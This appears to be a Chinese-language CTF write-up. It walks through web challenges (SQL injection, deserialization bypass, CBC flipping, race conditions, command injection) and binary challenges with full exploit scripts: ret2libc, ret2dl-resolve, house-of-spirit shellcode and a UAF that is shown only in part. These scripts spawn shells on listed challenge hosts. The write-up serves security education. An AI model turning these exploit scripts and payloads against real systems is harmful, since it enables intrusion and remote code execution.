Web
Web 50 签到
签到题,登录页面存在报错注入,过滤了and、or、select等,但都可以通过双写绕过,空格用/**/
代替,通过报错回显即可拿到密码。登陆后进入购买页面,抓包可发现购买数量和密码都可控,猜测后台检验方式为用户余额-单价x数量
是否大于零,于是可将购买数量改为一负值或者0,再对密码进行爆破即可。
Web150 我控几不主我及几啦
这道题思路来源于LuManager15年12爆出的注入漏洞,但sqlmap也能跑并不在出题人意料之内,分给得偏高。从解题人数来看作为签到题似乎更好一点QAQ。
解题办法:
1.sqlmap加上各种tamper后即可跑出
2.构造一个上传表单
并将enctype="multipart/form-data"
,然后通过post方法传入id,即可绕过waf联合查询出flag。
where是sql关键字,记得用反引号包住。
注入得到flag:
Web 200 睡过了
其实这个题就是前段时间爆出来的一个洞,如果你关注最新的漏洞这个题基本就是秒出啦~
具体的参见http://paper.seebug.org/39/,基本就是以下几点:
1.PHP序列化字符串中对象长度前加一个+号仍可正常反序列化,可用此来绕过正则,参见这篇文章;
2.PHP当序列化字符串中表示对象属性数的值大于真实的属性个数时会跳过__wakeup()
的执行 (所以题目叫睡过啦~);
3.绕过PHP中open_basedir
的限制。
首先打开链接,在filename,filedata中填好一句话的文件名和文件内容,跳到了upload.php,有提示"这种key加也行":
就像前面所说的加个+:
很明显filename和filedata的值被清空了。继续改掉"key"后面的那个2为3或者大于2这数字:
写进去了,嘿嘿嘿嘿~
这里实际上是会传到upload目录下,这个目录需要试一下或者扫,这个倒没什么,不过比较坑的一点是会把你的文件名做一下MD5在存在upload目录下 (这个确实.......不过我很快就放出提示告诉大家啦)。然后得知了路径直接用菜刀连上就有一个webshell啦:
然而你会发现有open_basedir的限制,我们需要再写一个脚本去绕过:
参见P总的博客
最后访问就可以得到Flag啦~~~~
web_250–苏打学姐的网站
这个题目一共有三个步骤。首先是文件读取,有一点小坑,当时放题想过要不要把后台正则匹配的代码提示出来,但是看到几个师傅秒过就算了,然后就是一个常规的CBC翻转,ctf也出现过。
最后是一个上传,比较实战的一个点,使用.user.ini文件构成的PHP后门getshell。最有意思的就是尽量想办法防止文件被改或者删除等,毕竟要getshell,权限限制,再加上ph师傅说的-i隐藏属性各种限制,以及各位大佬的照顾和捧场,使最后题目没出乱子,谢谢大家。还是有一点失误的,记的有队伍的web牛直接使用php文件把flag读到网页访问,这样的话导致其他队伍去的话可以直接访问到flag了(感谢师傅马上上传覆盖解决这个尴尬)。so姿势水平还要加强。
首先打开几个图片可以知道是文件包含,也给了tips提示tips:file/tips.txt
、但是直接访问是403,使用img.php直接img.php?id=file/tips.txt
也是读取不到的,必须是有jpg,还使用正则简单限制了php://xxxxxxxxx/resource=
形式的读取,后台代码如下:
所以payload: img.php?id=php://xxxxxxxxx/resource=file/1.jpg/resource=file/tips.txt
就可以读到。代码还给返回头加了image/jpg
,火狐浏览器直接解析是看不到,可以使用Google Chrome或者curl命令也行。
得到后台,随便同方法看看admin.php.txt
源码,知道是一个cbc翻转改变cookie,参考以前wooyun文章,各位可以网上搜索一下。打开/admin_5080e75b2fe1fb62ff8d9d97db745120
首页,主要代码:
<?php
error_reporting(0);
$Key = "xxxxxxxxxxxxxxxxx";
$iv = "xxxxxxxxxxxxxxxx";
$v = "2016niandiqijiequanguowangluoanquandasai0123456789abcdef-->xdctfxdnum=2015auid=4;xdctfxdctf";
$en_Result = mcrypt_encrypt(MCRYPT_RIJNDAEL_128,$Key, $v, MCRYPT_MODE_CBC, $iv);
$enc = base64_encode($en_Result);
$en_Data = base64_decode($_COOKIE[user]);
$de_Result = mcrypt_decrypt(MCRYPT_RIJNDAEL_128,$Key, $en_Data, MCRYPT_MODE_CBC, $iv);
$b = array();
$b = isset($_COOKIE[user])?$de_Result:$enc;
$num1 = substr($b,strpos($b,"uid")+4,1);
$num2 = substr($b,strpos($b,"num")+4,4);
echo '</br><h3>ID: '.$num1."</h3><br>";
if ($num1 == 1 && $num2 == 2016){
die ("shen mi li wu !");
}
else{
echo "HELLO CLIENT";
}
setcookie("user",$enc);
?>
需要改变的是2015的5和uid=4的4,分别对应63和57位,poc:
<?php
$enc = "dSaWGkNVh2MADjPscqdId/25Y68VaL+Ze6rYSCUHvvDV7MnbDs6fHcibGemmyMoyfHa9cXJ7DHU8Wd/DZqyNfLQ5dDs9wVDIllMKnIQilJunP9hpJ3CYFayOF0vbiqhM";
$enc = base64_decode($enc);
$enc[63] = chr(ord($enc[63]) ^ ord("4") ^ ord ("1"));
$enc[57] = chr(ord($enc[57]) ^ ord("5") ^ ord ("6"));
$c = base64_encode($enc);
$d = urlencode($c);
echo $d;
?>
替换cookie可以跳转到上传界面,fuzzing可以上传ini,不多说直接一篇文章搞定:http://404.so/7945.html ,之后getshell。得到flag。
Web 300 headpic
这道题的大致思路是,首先通过注册账户,注册带非法字符的用户名,发现无法正常的修改头像,而构造正确的sql逻辑则可以更新头像,于是认为在访问用户主页时触发了二次注入。然后到需要写脚本的时候,需要克服这道题的验证码。首先它形式很简单,完全没有粘连,因此可以直接用tesseract-ocr识别;不过还有更简单的方式,验证码是存在session里的,且缺乏验证,那我们直接清空cookie,验证码就不起效了。注入的脚本大致如下:
#coding:utf-8
import requests
import random
import pytesseract
from PIL import Image
from io import BytesIO
import string
import sys
def regist(name):
url1=url+"check.php"
try:
for i in range(20):
veri = verify()
#print veri
payload={'user':name,'pass':'111','verify':veri,'typer':'0','register':"%E6%B3%A8%E5%86%8C"}
#print payload
r=requests.post(url1,data=payload,headers=headers)
txt=r.text
#print txt
#print r.headers['Content-Length']
if '2000' in txt:
print "register OK!!"
flag = login(name)
return flag
break
else:
pass
#print "not register"
return False
except Exception, e:
pass
def login(name):
url1=url+"check.php"
try:
for i in range(20):
veri = verify()
#print veri
payload={'user':name,'pass':'111','verify':veri,'typer':'0','login':'%E7%99%BB%E9%99%86'}
r=requests.post(url1,data=payload)
txt=r.text
#print txt
if '2000' in txt:
print "login OK!!"
#print r.headers
headers['Cookie'] = r.headers['Set-Cookie']
v = setpic(headers)
if v:
return True
#sys.exit()
break
else:
pass
#print "not login"
return False
except Exception, e:
raise e
def verify():
url = "http://xxxxxx/verify.php"
try:
r=requests.get(url,headers=headers)
i=Image.open(BytesIO(r.content))
im = i.convert('L')
threshold = 140
table = []
for i in range(256):
if i < threshold:
table.append(0)
else:
table.append(1)
out = im.point(table, '1')
return pytesseract.image_to_string(out)
except Exception, e:
raise e
def setpic(headers):
url1 = "http://xxxxxx/ucenter.php"
try:
r=requests.post(url1,headers=headers)
txt=r.text
#print txt
if "math1as.com/pic" in txt:
return True
else:
return False
except Exception, e:
raise e
headers={
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0",
"Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Encoding":"gzip, deflate",
"Cookie":"3vitee1ku455s2etkefct41j10"
}
url = "http://xxxxxx/"
payloads = ['2', '6', '3', '4', '5', '1', '7', '8', '9', '0','f','a','b','c','d', 'e']
#payloads =['/','@','_','.', '-', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']
#payloads =list(string.ascii_lowercase)
ss = ""
#name = 'kkkkkkkk\'/**/or/**/exists(select/**/*/**/from/**/xdsec)/**/#'
#for i in payloads:
for i in range(1,33):
flag = False
for x in payloads:
name = 'kkkkkkkk\'/**/or/**/ord(substr((select/**/pass/**/from/**/flag_admin_233),'+str(i)+',1))='+str(ord(x))+'/**/#'
#name = 'kkkkkkkk\'/**/or/**/ord(substr((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name=0x666c61675f61646d696e5f323333/**/limit/**/2,1),4,1))=115/**/#'
#name = 'kkkkkkkk\'/**/or/**/length((select/**/admin/**/from/**/flag_admin_233))=5/**/#'
#name = 'kkkkkkkk\'/**/or/**/exists(select/**/id/**/from/**/flag_admin_233)/**/#'
#print name
flag = regist(name)
if flag:
ss += x
print ss
break
#sys.exit()
print "done"
#pass:6cb0598de4da617832e15f4c69570b7
#name = 'kkkkkkkk\'/**/or/**/100>50/**/#'
注入成功得到密码后还是无法直接登陆。然后在robots.txt处有一个base32加密的提示,所以去想办法访问scret_new_notice.php
(这里需要以local访问,通过头像处的ssrf,通过@的基础认证方式绕过),得到的提示是admin用户改变了自己的用户名。在这种情况下,由于用来判断的函数是strcmp(),因此传入数组为User[]=xxxx
使其返回值为0,成功得到flag。
Web300 【你一定不能来这】
感谢已毕业的phithon学长,部分思路来源于p总博客
首先在根目录下的crossdomain.xml发现隐藏的域名:
访问该域名后可下载一份download.php源码:
并发现可以利用hash长度扩展攻击下载得到www.rar
。由于不知道secret长度,需要爆破。Secret长度为18,下载www.rar
发现压缩包加密了,二进制观察压缩包发现文件尾有一串jjencode
,拖入浏览器中可得一段培根密码,解密得到压缩包密码:
解压后进行代码审计,可以得到管理员邮箱。又发现要得到flag要重置id=0
的用户的密码。而在php中id=0
是会被判断为空的,而由于mysql的特性,会将0aa
这样的字符串转成.所以
id=0aa
即可进入第一个if。
接下来需要知道token,而token是时间戳加上rand(1,10000)
,那么就需要预测服务器上的时间戳然后爆破1-10000。预测时间戳的话有两种方法:
- 本地直接
time()
取,这样的话需要减去网络延时。网络状况不稳定的话就容易造成较大误差。 - 通过获取http头的date字段获取服务器的准确时间(GMT),这样的话需要确定
php.ini
的时区设置(北京时间是GMT+8),得到时间戳后爆破即可。这里有一个坑点是,一个回合只能有一个队伍可以重置管理员密码,所以需要通过脚本竞争来进入爆破环节。
Web 500 盘加加
比较有趣的一个题目。
首先是登陆的部分,由于管理员的注册逻辑有错,pwd忘记加上md5()
,导致无法正常登陆。这时注意到找回密码的地方,为4位数字验证码,因此直接通过脚本爆破。进入到ucenter后其中的调试脚本功能需要余额为99999以上才能使用,而初始提供给了用户33333积分,可以以1:1
的形式进行兑换。
这里考察的是一个数据库不加锁情况下处理并发的业务逻辑问题,因此直接用时间竞争的方式,脚本多线程跑一下即可。脚本如下:
# -*- coding:utf-8 -*-
import requests
from time import sleep
from threading import Thread
class URLThread(Thread):
def __init__(self, url,data,cookie, timeout=1, allow_redirects=True):
super(URLThread, self).__init__()
self.url = url
self.timeout = timeout
self.allow_redirects = allow_redirects
self.response = None
self.data=data
self.cookies=cookies
def run(self):
try:
self.response=requests.post(self.url,timeout=self.timeout,data=self.data,cookies=self.cookies)
text=self.response.text
print text
except Exception , what:
print what
pass
num=10
data={"count":"33332"}
cookies={"username":"2|1:0|10:1475430892|8:username|16:bWF0aDFhc19yb290|061255e41481821c19b68f12ac86017ec07f5729ca8ddf9050b291dca75a5360"}
th=list()
for i in range(num):
th.append(URLThread("http://119.28.15.75:9000/trans",data,cookies))
for j in th:
j.start()
然后就可以开始调试脚本了。很明显,这里存在一个命令注入,但是限制了大部分的符号,只能使用|
、空白、制表符、数字和字母。因此有两种方式绕过:
- 利用正则表达式匹配多行的问题,直接绕过
- Wget10进制ip地址,然后通过302为其指定一个无后缀名的文件名
最后通过python 文件名
执行命令,这个思路是从hitcon的某道题目过来的。最后反弹一个shell,发现权限为root,那么就直接开始审查web源码。在route.py
的逻辑中,发现了内网的ip地址,也就是我们调试的脚本地址。用ssh隧道转发后进行访问,发现这其实是一个用php为基础的解释语言(其实就是替换)。在提供的example中找到了调用require
的方法,试图包含/self/proc/environ
是没有权限的,那么只能使用eval
的方法,去执行一个$_SERVER
变量,比如x_forwarded_for
:
成功执行代码后,就可以执行system,反弹一个shell了:
最后在/home/pwn
目录下发现了flag文件,但是直接读取仍然没有权限。分析同目录的.note_pwn
,是一个本地提权的文件(setgid
),32位程序,很直接的栈溢出,通过stack-pivoting
技巧转移esp
到可控区域,然后执行这块区域上预先放置好的rop-chain
即可,这块可控区域可利用设置LD_PRELOAD
环境变量来获得:
ulimit -s unlimited
export LD_PRELOAD=`python -c "print 'A'*29 + '\xa0\x5e\x63\x55' + 'AAAA' + '\x8c\xea\x6d\x55' + '\x00'*0x8"`
python -c "print 'A'*0x28+'\xd0\x8e\x57\x55'" > /tmp/payload
cat /tmp/payload - | ./note_pw
最终得到flag
PWN
# 对zio的输入输出加了点函数,方便自己使用
class zio(object):
#.....
def w(self, s):
self.write(s)
def wl(self, s = ''):
if isinstance(s, (int, long)):
self.writeline(str(s))
else:
self.writeline(s)
def wls(self ,sequence):
self.writelines( [str(i) if isinstance(i, (int, long)) else i for i in sequence] )
def r(self, size = None, timeout = -1):
return self.read(size, timeout)
def rl(self, size = -1):
return self.read_line(size)
def rtl(self, pattern_list, timeout = -1, searchwindowsize = None):
return self.read_until(pattern_list, timeout, searchwindowsize)
def w_af(self, pattern_list, s, timeout = -1, searchwindowsize = None):
self.read_until(pattern_list, timeout, searchwindowsize)
self.writeline(s)
def wls_af(self, pattern_list, sequence, timeout = -1, searchwindowsize = None):
self.read_until(pattern_list, timeout, searchwindowsize)
self.writelines( [str(i) if isinstance(i, (int, long)) else i for i in sequence] )
PWN100
Bugs
程序有非常简单粗暴的栈缓冲区溢出,可溢出0x80个字节
Thinking
栈溢出,没有提供libc,利用方法很多,可以通过got表泄露libc,可以通过DynELF来泄露libc,然后return-to-libc,或者return-to-dl-resolve
下面给出的两个exp,一个是我无聊测试一下之前写的手动泄露共享库函数的方法,具体方法可参考这篇文章,另一个exp也是我无聊试的return-to-dl-resolve
Exploit
re2libc
from zio import *
from pwnlib.dynelf import *
from pwnlib.elf import *
io = zio(('119.28.63.211', 2332), print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)
# io = zio(('119.28.63.211', 2332), print_read = False, print_write = False, timeout = 10000)
# io.hint([0x4006b7])
got_read = 0x601028
got_puts = 0x601018
plt_puts = 0x400500
adr_bss = 0x601000
p_rdi_ret = 0x00400763
def prepare(address):
payload = 'A' * 0x48
payload += l64(p_rdi_ret)
payload += l64(address)
payload += l64(plt_puts)
payload += l64(0x400550) # program entry
payload = payload.ljust(0xc8, 'A')
io.w(payload)
io.rtl('bye~\n')
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = l64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += l64(0x0) # rbx be 0x0
payload += l64(0x1) # rbp be 0x1
payload += l64(jmp2) # r12 jump to
payload += l64(arg3) # r13 -> rdx arg3
payload += l64(arg2) # r14 -> rsi arg2
payload += l64(arg1) # r15 -> edi arg1
payload += l64(part2) # part2 entry will call [rbx + r12 + 0x8]
payload += 'A' * 56 # junk
return payload
def getshell(adr_system):
payload = 'A' * 0x48
payload += com_gadget(0x40075a, 0x400740, jmp2 = got_read,
arg1 = 0x0,
arg2 = adr_bss + 0x80,
arg3 = 0x10)
payload += l64(0x400550) # program entry
payload = payload.ljust(0xc8, 'A')
io.w(payload)
io.rtl('bye~\n')
io.w('/bin/sh\x00' + l64(adr_system))
payload = 'A' * 0x48
payload += com_gadget(0x40075a, 0x400740, jmp2 = adr_bss + 0x88,
arg1 = adr_bss + 0x80)
payload += l64(0xdeadbeef)
payload = payload.ljust(0xc8, 'A')
io.w(payload)
io.rtl('bye~\n')
def leak(address, size):
count = 0
buf = ''
while count < size:
prepare(address + count)
# leak(str(address + count))
while True:
ch = io.read(1, timeout = 0x10)
#print ch
count += 1
if ch == '\n':
buf += '\x00'
break
else:
buf += ch[0]
leak_data = buf[:size]
#print '{} ==> {}'.format(hex(address), leak_data.encode('hex'))
return leak_data
# manual leak libc
BITS = 64
# get arbitrary address located in libc
def get_elf_entry(got):
entry = l64(leak(got, 0x8))
print '[+] libc entry\t\t\t\t:\t0x%x' % entry
return entry
# find libc base according to Magic
def find_elf_base(entry):
if BITS == 64:
libc_base = entry & 0xfffffffffffff000
while True:
garbage = leak(libc_base, 0x4)
if garbage == '\x7fELF':
break
libc_base -= 0x1000
print '[+] libc base\t\t\t\t:\t0x%x' % libc_base
return libc_base
# find program header table
def find_phdr(elf_base):
if BITS == 64:
# get address of program header table
phdr = l64(leak(elf_base + 0x20, 0x8)) + elf_base
print '[+] program headers table\t\t:\t0x%x' % phdr
return phdr
# find dynamic section table (.dynamic section -> DYNAMIC segment)
def find_dyn_section(phdr, elf_base):
if BITS == 64:
phdr_ent = phdr
while True:
garbage = l32(leak(phdr_ent, 0x4))
# p_type of dynamic segment is 0x2
if garbage == 0x2:
break
phdr_ent += 0x38
dyn_section = l64(leak(phdr_ent + 0x10, 0x8)) + elf_base
print '[+] .dynamic section headers table\t:\t0x%x' % dyn_section
return dyn_section
def find_sym_str_table(dyn_section):
if BITS == 64:
dyn_ent = dyn_section
dt_sym_tab = 0x0
dt_str_tab = 0x0
while True:
garbage = l64(leak(dyn_ent, 0x8))
if garbage == 0x6:
dt_sym_tab = l64(leak(dyn_ent + 0x8, 0x8))
elif garbage == 0x5:
dt_str_tab = l64(leak(dyn_ent + 0x8, 0x8))
if dt_str_tab and dt_sym_tab:
break
dyn_ent += 0x10
print '[+] symtab\t\t\t\t:\t0x%x' % dt_sym_tab
print '[+] strtab\t\t\t\t:\t0x%x' % dt_str_tab
return (dt_sym_tab, dt_str_tab)
def find_func_adr(dt_sym_tab, dt_str_tab, func, elf_base):
if BITS == 64:
sym_ent = dt_sym_tab
while True:
garbage = l32(leak(sym_ent, 0x4))
name = leak(dt_str_tab + garbage, len(func))
if name == func:
break
sym_ent += 0x18
adr_func = l64(leak(sym_ent + 0x8, 0x8)) + elf_base
print '[+] %s loaded address\t:\t0x%x' % (func, adr_func)
return adr_func
# exploit ELF
def lookup(func):
entry = get_elf_entry(got_read)
elf_base = find_elf_base(entry)
phdr = find_phdr(elf_base)
dyn_section = find_dyn_section(phdr, elf_base)
dt_sym_tab, dt_str_tab = find_sym_str_table(dyn_section)
func_address = find_func_adr(dt_sym_tab, dt_str_tab, func, elf_base)
return func_address
leak(got_read, 0x8)
adr_system = lookup('__libc_system')
print '[+] system addr\t:\t' + hex(adr_system)
getshell(adr_system)
io.itr()
ret2dl-resolve
from zio import *
io = zio(('119.28.63.211', 2332), print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)
# io = zio('./pwn100_strip', print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)
# io = zio(('119.28.63.211', 2332), print_read = False, print_write = False, timeout = 10000)
#io.hint([0x4006b7])
junk = 0x48
plt_puts = 0x0000000000400500
plt_resolve = 0x00000000004004f0
got_read = 0x0000000000601028
got_puts = 0x0000000000601018
got_linkmap = 0x0000000000601008
leave_ret = 0x000000000040068c
pop_rbp_ret = 0x0000000000400595
pop_rdi_ret = 0x0000000000400763
p4_ret = 0x000000000040075c
adr_stage = 0x0000000000601000 + 0x800
adr_rel_plt = 0x0000000000400450
adr_dyn_sym = 0x00000000004002c0
adr_dyn_str = 0x0000000000400380
adr_fake_rel_plt = adr_stage + 0x100
adr_fake_dyn_sym = adr_stage + 0x208
adr_fake_dyn_str = adr_stage + 0x300
adr_shell = adr_stage + 0x400
com_part1 = 0x40075a
com_part2 = 0x400740
adr_entry = 0x400550
def prepare(address):
payload0 = 'A' * junk
payload0 += l64(pop_rdi_ret)
payload0 += l64(address)
payload0 += l64(plt_puts)
payload0 += l64(adr_entry)
payload0 = payload0.ljust(0xc8, 'A')
io.w(payload0)
io.rl()
def leak(address, size):
count = 0
buf = ''
while count < size:
prepare(address + count)
# leak(str(address + count))
while True:
ch = io.read(1, timeout = 0x10)
#print ch
count += 1
if ch == '\n':
buf += '\x00'
break
else:
buf += ch[0]
#print '{} ==> {}'.format(hex(address), leak_data.encode('hex'))
leak_data = buf[:size]
return leak_data
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = l64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += l64(0x0) # rbx be 0x0
payload += l64(0x1) # rbp be 0x1
payload += l64(jmp2) # r12 jump to
payload += l64(arg3) # r13 -> rdx arg3
payload += l64(arg2) # r14 -> rsi arg2
payload += l64(arg1) # r15 -> edi arg1
payload += l64(part2) # part2 entry will call [rbx + r12 + 0x8]
payload += 'A' * 56 # junk
return payload
adr_linkmap = l64(leak(got_linkmap, 0x8))
print '[+] leak link_map\t:\t' + hex(adr_linkmap)
# overwrite link_map+0x1c8 0x0, read fake structure
payload0 = 'A' * junk
payload0 += com_gadget(com_part1, com_part2, got_read,
arg1 = 0x0,
arg2 = adr_linkmap + 0x1c8,
arg3 = 0x8)
payload0 += l64(adr_entry)
payload0 = payload0.ljust(0xc8, 'A')
io.w(payload0)
io.rl()
io.w(l64(0x0))
payload0 = 'A' * junk
payload0 += com_gadget(com_part1, com_part2, got_read,
arg1 = 0x0,
arg2 = adr_stage,
arg3 = 0x500)
payload0 += l64(adr_entry)
payload0 = payload0.ljust(0xc8, 'A')
io.w(payload0)
io.rl()
payload0 = 'A' * junk
payload0 += l64(pop_rbp_ret)
payload0 += l64(adr_stage)
payload0 += l64(leave_ret)
payload0 = payload0.ljust(0xc8, 'A')
# fake structure
align_rel_plt = 0x8*3 - (adr_fake_rel_plt - adr_rel_plt) % (0x8 * 3)
payload1 = 'A' * 0x8
payload1 += l64(pop_rdi_ret) # set $rdi "/bin/sh"
payload1 += l64(adr_shell)
payload1 += l64(plt_resolve)
payload1 += l64((adr_fake_rel_plt - adr_rel_plt + align_rel_plt) / (0x8 * 3))
payload1 += l64(0xdeadbeef)
payload1 = payload1.ljust(0x100, 'A')
align_dyn_sym = 0x8*3 - (adr_fake_dyn_sym - adr_dyn_sym) % (0x8 * 3)
payload1 += 'A' * align_rel_plt
payload1 += l64(got_read)
payload1 += l64((adr_fake_dyn_sym - adr_dyn_sym + align_dyn_sym)/(0x8*3)*0x100000000 + 0x7)
payload1 = payload1.ljust(0x208, 'A')
payload1 += 'A' * align_dyn_sym
payload1 += l32(adr_fake_dyn_str - adr_dyn_str)
payload1 += l32(0x12)
payload1 += l64(0x0)
payload1 += l64(0x0)
payload1 = payload1.ljust(0x300, 'A')
payload1 += 'system\x00'
payload1 = payload1.ljust(0x400, 'A')
payload1 += '/bin/sh\x00'
payload1 = payload1.ljust(0x500, 'A')
io.w(payload1)
io.w(payload0)
io.rl()
io.interact()
PWN200
Bugs
- 存在栈地址泄露
- 在输入
money
时存在栈溢出,可覆盖malloc
出的指针
Thinking
首先泄露出栈地址,然后覆盖堆指针为栈上的可控区域,我们可以精巧的构造这块区域成一个伪造的堆块,之后通过free
,这个堆块即被加入到了fastbin
中,然后再通过malloc
,即可对这个堆块的空间进行任意写,这时只要覆盖栈上的返回地址为一个jmp rsp
,再通过一个short jmp
,来执行shellcode,即可获得shell
另外,在构造堆块时,同时要构造好相邻的下一个堆块的头部,使得其prev_inuse == 1
(在free的时候会检查)
(其实这个漏洞利用的过程也叫house-of-spirit
)
然而。事实上由于我的疏忽,可以直接覆盖指针为got
表函数的地址,然后strcpy
修改got
表函数的地址,即可执行shellcode
,sigh:(
Exploit
from zio import *
target = './pwn200'
target = ('119.28.63.211', 2333)
io = zio(target, print_read = COLORED(RAW, 'red'), print_write = COLORED(RAW, 'blue'), timeout = 10000)
io.rl()
# x86/bsd/exec: 24 bytes
shellcode = (
"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
"\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
)
# leak stack
fake = shellcode.ljust(0x30, 'A') # shellcode
io.w(fake)
io.rtl('A' * (0x30 - len(shellcode)))
stack_ptr = l64(io.rtl(',')[:-1].ljust(0x8, '\x00')) - 0xb0
print '[+] leak stack pointer\t:\t0x%x' % stack_ptr
io.rtl('id ~~?')
io.wl(0x20) # size of next chunk
fake = 'A' * 0x8
fake += l64(0x61) # size of free'd chunk
fake += 'A' * 0x28
fake += l64(stack_ptr) # vuln stack pointer
io.rtl('money~')
io.w(fake)
io.rtl('choice')
io.wl(2)
io.rtl('choice')
fake = 'A' * 0x38
fake += l64(0x00400d1b) # jmp rsp
fake += '\xeb\x1e\x00\x00' # short jmp
fake = fake.ljust(0x10, 'B')
io.wls([1, 0x50, fake])
io.wl(3) # ret to get shell
io.itr()
Reference
PWN300
Bugs
简单粗暴的一个栈溢出
Thinking
程序动态链接的两个共享库都是我自己写的,libio.so
里用syscall
实现了两个输入输出函数,libgetshell.so
里放了一个执行shellcode的getshell函数
自己设计的思路是根据这篇文章来的。手动查文件头和各种表寻找共享库内的函数地址。
关于libgetshell.so
的基地址,只要泄露link_map
就可以得到
Exploit
from zio import *
io = zio(('119.28.63.211', 2339), print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 100000)
io.hint([0x4004cb])
got_write = 0x601018
got_read = 0x601020
adr_bss = 0x601000
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = l64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += l64(0x0) # rbx be 0x0
payload += l64(0x1) # rbp be 0x1
payload += l64(jmp2) # r12 jump to
payload += l64(arg3) # r13 -> rdx arg3
payload += l64(arg2) # r14 -> rsi arg2
payload += l64(arg1) # r15 -> edi arg1
payload += l64(part2) # part2 entry will call [rbx + r12 + 0x8]
payload += 'A' * 48 # junk
return payload
def leak(address, size):
payload = 'A' * 0x28
payload += com_gadget(0x40049c, 0x400480, jmp2 = got_write,
arg1 = 0x1,
arg2 = address,
arg3 = size)
payload += l64(0x4004ec) # program entry
io.rl()
io.w(payload)
leak_data = io.r(size)
print '{} ==> {}'.format(hex(address), leak_data.encode('hex'))
return leak_data
def getshell(adr_system):
raw_input()
payload = 'A' * 0x28
payload += com_gadget(0x40049c, 0x400480, jmp2 = got_read,
arg1 = 0x0,
arg2 = adr_bss + 0x80,
arg3 = 0x10)
payload += l64(0x4004ec) # program entry
io.w(payload)
io.w('/bin/sh\x00' + l64(adr_system))
payload = 'A' * 0x28
payload += com_gadget(0x40049c, 0x400480, jmp2 = adr_bss + 0x88,
arg1 = adr_bss + 0x80)
payload += l64(0xdeadbeef)
io.w(payload.ljust(0x80, 'A'))
# manual leak libc
BITS = 64
def find_elf_base():
adr_lmap = 0x601008
node = l64(leak(adr_lmap, 8))
name = 0x0
junk = ''
while True:
if node:
junk = leak(node, 8*5)
if 'getshell' in leak(l64(junk[8:16]), 0x80):
print '[+] find shared object at 0x%x ~' % l64(junk[:8])
break
else :
node = l64(junk[24:32])
else:
print '[-] not found ~'
break
return l64(junk[:8])
# find program header table
def find_phdr(elf_base):
if BITS == 64:
# get address of program header table
phdr = l64(leak(elf_base + 0x20, 0x8)) + elf_base
print '[+] program headers table\t\t:\t0x%x' % phdr
return phdr
# find dynamic section table (.dynamic section -> DYNAMIC segment)
def find_dyn_section(phdr, elf_base):
if BITS == 64:
phdr_ent = phdr
while True:
garbage = l32(leak(phdr_ent, 0x4))
# p_type of dynamic segment is 0x2
if garbage == 0x2:
break
phdr_ent += 0x38
dyn_section = l64(leak(phdr_ent + 0x10, 0x8)) + elf_base
print '[+] .dynamic section headers table\t:\t0x%x' % dyn_section
return dyn_section
def find_sym_str_table(dyn_section):
if BITS == 64:
dyn_ent = dyn_section
dt_sym_tab = 0x0
dt_str_tab = 0x0
while True:
garbage = l64(leak(dyn_ent, 0x8))
if garbage == 0x6:
dt_sym_tab = l64(leak(dyn_ent + 0x8, 0x8))
elif garbage == 0x5:
dt_str_tab = l64(leak(dyn_ent + 0x8, 0x8))
if dt_str_tab and dt_sym_tab:
break
dyn_ent += 0x10
print '[+] symtab\t\t\t\t:\t0x%x' % dt_sym_tab
print '[+] strtab\t\t\t\t:\t0x%x' % dt_str_tab
return (dt_sym_tab, dt_str_tab)
def find_func_adr(dt_sym_tab, dt_str_tab, func, elf_base):
if BITS == 64:
sym_ent = dt_sym_tab
while True:
garbage = l32(leak(sym_ent, 0x4))
name = leak(dt_str_tab + garbage, len(func))
if name == func:
break
sym_ent += 0x18
adr_func = l64(leak(sym_ent + 0x8, 0x8)) + elf_base
print '[+] %s loaded address\t:\t0x%x' % (func, adr_func)
return adr_func
# exploit ELF
def lookup(func):
elf_base = find_elf_base()
phdr = find_phdr(elf_base)
dyn_section = find_dyn_section(phdr, elf_base)
dt_sym_tab, dt_str_tab = find_sym_str_table(dyn_section)
func_address = find_func_adr(dt_sym_tab, dt_str_tab, func, elf_base)
return func_address
result = lookup('getshell')
print '[+] function @ 0x%x' % result
getshell(result)
io.itr()
PWN400
Bugs
- 在delete时没有对对象指针置零
- 加密后输入加密结果时存在泄漏,可泄漏出堆地址
Thinking
由于在delete后没有对对象指针置零,可导致一个uaf,通过uaf伪造一个对象的虚表指针和虚表,从而执行任意地址代码。另外,由于对象在调用虚函数时会传入一个参数,这个参数是对象本身的地址,因此第一个参数不能直接被我们控制,需要通过一段ROP来设置调用时的参数
大致的利用方式就是先通过UAF调用printf
来泄露libc基地址,然后再通过system来getshell
通过一个
Exploit
from zio import *
target = ('119.28.62.216', 10023)
io = zio((target), print_read = COLORED(REPR, 'red'), print_write = COLORED(REPR, 'blue'), timeout = 10000)
io.hint([0x401fba, 0x401fe3, 0x400d40])
# adr
plt_printf = 0x0000000000400be0
p8_ret = 0x00402336
pop_rdi_ret = 0x00402343
entry = 0x400d40
# new key
def leak():
io.wls([1, 1, 11, 13])
# io.wls([2, 0x40, (('AAAAAAAA' +'%{}$lx\x00'.format(0x8b)).ljust(0x18, 'a') + l64(p8_ret)).ljust(0x40, 'a')])
io.wls([2, 0x40, (('AAAAAAAA' +'0x%{}$lx\x00'.format(71)).ljust(0x18, 'a') + l64(p8_ret)).ljust(0x40, 'a')])
